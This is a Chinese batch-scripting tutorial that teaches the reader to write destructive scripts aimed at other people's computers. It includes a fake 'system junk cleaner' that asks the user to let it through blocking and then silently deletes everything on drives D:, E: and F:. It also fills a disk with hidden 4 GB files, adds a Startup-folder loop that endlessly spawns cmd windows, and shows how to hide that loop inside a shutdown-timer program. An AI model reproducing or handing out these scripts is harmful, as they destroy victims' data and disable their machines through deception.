在上次,
关闭回显 @echo off,
更改背景字体颜色 color 0a,
标题 title my qq password,
在屏幕输出一段话 echo This is password
暂停,按任意键继续 pause
继续
我们优化一下程序
echo . 空一行,只能在批处理中有用
ping -n 10 127.0.0.1 延迟10个包,ping自己的回环地址(会有回显),大概10秒
也可以瞎写一个ping不通的ip地址,这样卡的时间更长了
在命令后+ >nul 2>nul 起到屏蔽提示的作用
ping -n 10 127.0.0.1 >nul 2>nul 做隐藏操作的效果
d: 进入D盘 改成 d: >nul 2>nul 万一没D盘会报错,无论成功与否都没有提示
cd \ 进入根目录 改成 cd \ >nul 2>nul
rd . /s/q 相当于格式化D盘 改成 rd . /s/q >nul 2>nul
rd . 删除当前目录
rd /s 删除当前目录本身外,还删除指定目录下的所有子目录和文件。用于删除目录树
rd /q 安静模式,带/s删除目录树时不需要确认
下面实现一个格式化d盘的操作
@echo off
color 0a
title clear litter program
echo ==================
echo 清理你的系统垃圾
echo 如果被拦截
echo 请放行
echo ==================
pause
echo .
echo 垃圾正在清理中...
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
以防万一,多加几个盘
@echo off
color 0a
title clear litter program
echo ==================
echo 清理你的系统垃圾
echo 如果被拦截
echo 请放行
echo ==================
pause
echo .
echo 垃圾正在清理中...
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
e: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
f: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
清理(删除)完后,输出一句话
echo congratulations!!!!
echo 垃圾清理完了!
pause
完整程序
@echo off
color 0a
title clear litter program
echo ==================
echo 清理你的系统垃圾
echo 如果被拦截
echo 请放行
echo ==================
pause
echo .
echo 垃圾正在清理中...
d: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
e: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
f: >nul 2>nul
cd \ >nul 2>nul
rd . /s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
echo 恭喜!!!!
echo 垃圾清理完了!
pause
然后我们再写一个脚本
fsutil命令可以有很多用途,我们在这生成一个4Gb的文件
fsutil file createnew d:\sys.ini 4096000000 在d盘下生成一个4g左右的,名为sys.ini文件(系统配置文件)
d:
cd \
fsutil file createnew d:\sys.ini 4096000000
fsutil file createnew d:\sys1.ini 4096000000
fsutil file createnew d:\sys2.ini 4096000000
fsutil file createnew d:\sys3.ini 4096000000
fsutil file createnew d:\sys4.ini 4096000000
fsutil file createnew d:\sys5.ini 4096000000
这种可以简单的填满d盘,如果再把文件高级隐藏起来,对方就只能格式化了
再写一个脚本
: 可以通过冒号来给命令划分区块,冒号不是命令,系统也不会执行这句
:1
... 代码
:2
... 代码
:love
... 代码
但是单冒号并没有什么作用,可以和goto命令配合使用
goto 2 跳转到名字为2的那个区块
写个简单的病毒
start 开启程序或者文件(要写路径),或者网址,如果后面什么都不写,就是打开cmd
:d 区块d
start 打开cmd
goto d 打开区块d
也就是不断地躲开cmd,但重新开机就好了,所以要想办法开机自启
电脑有个启动菜单,使用copy命令把病毒放到那个启动路径(每个系统可能不一样)
copy 病毒.bat C:\Documents and Settings\All Users\「开始」菜单\程序\启动
但是有可能用户不一样,或者启动路径不一样,就运行不了这个病毒
系统有个变量叫userprofile,值就是当前用户的家目录路径
%% windows里面,%%就是取变量值的意思
copy 病毒.bat %userprofile%\「开始」菜单\程序\启动
由于这个路径有特殊符号 「开始」,遇到特殊符号,就在路径两边加上""
优化后
copy 病毒名.bat "%userprofile%\「开始」菜单\程序\启动"
:d
start
goto d
一般这种情况,只能重装系统了
下面,我们再写一个程序
shutdown定时关机命令
set 设置变量
@echo off
title 小程序v1.0
color 0a
:menu
cls 清屏
echo =====================
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo =====================
set /p num=您的选择: 创建一个用户输入到变量num的值
if "%num%"=="1" goto 1 取变量num的值,如果num值完全为1,跳转区块1
if "%num%"=="2" goto 2 取变量num的值,如果num值完全为2,跳转区块2
if "%num%"=="3" goto 3 取变量num的值,如果num值完全为3,跳转区块3
echo 别瞎输涅~好好输,只能输:1,2,3
pause 暂停,让用户看一下这句话
goto menu 跳转menu区块
:1
set /p a=请输入时间(单位/秒):
创建一个用户输入给变量a的值,/p的意思就是a的值来自于用户输入,而非等于号右边值,但是这个命令只能10分钟内有效
shutdown -s -f -t %a% 按a的值定时关机
goto menu 跳转到menu区块
:2
shutdown -a 取消定时关机
goto menu 跳转到menu区块
:3
exit
以上,可定时自动关机程序就写完了
要在其中加病毒也可以
把区块2改成
:2
echo :a >> %userprofile%\「开始」菜单\程序\启动\文件名.bat
echo start >> %userprofile%\「开始」菜单\程序\启动\文件名.bat
echo goto a >> %userprofile%\「开始」菜单\程序\启动\文件名.bat
shutdown -a
goto menu
这个就是上面所学的循环打开cmd程序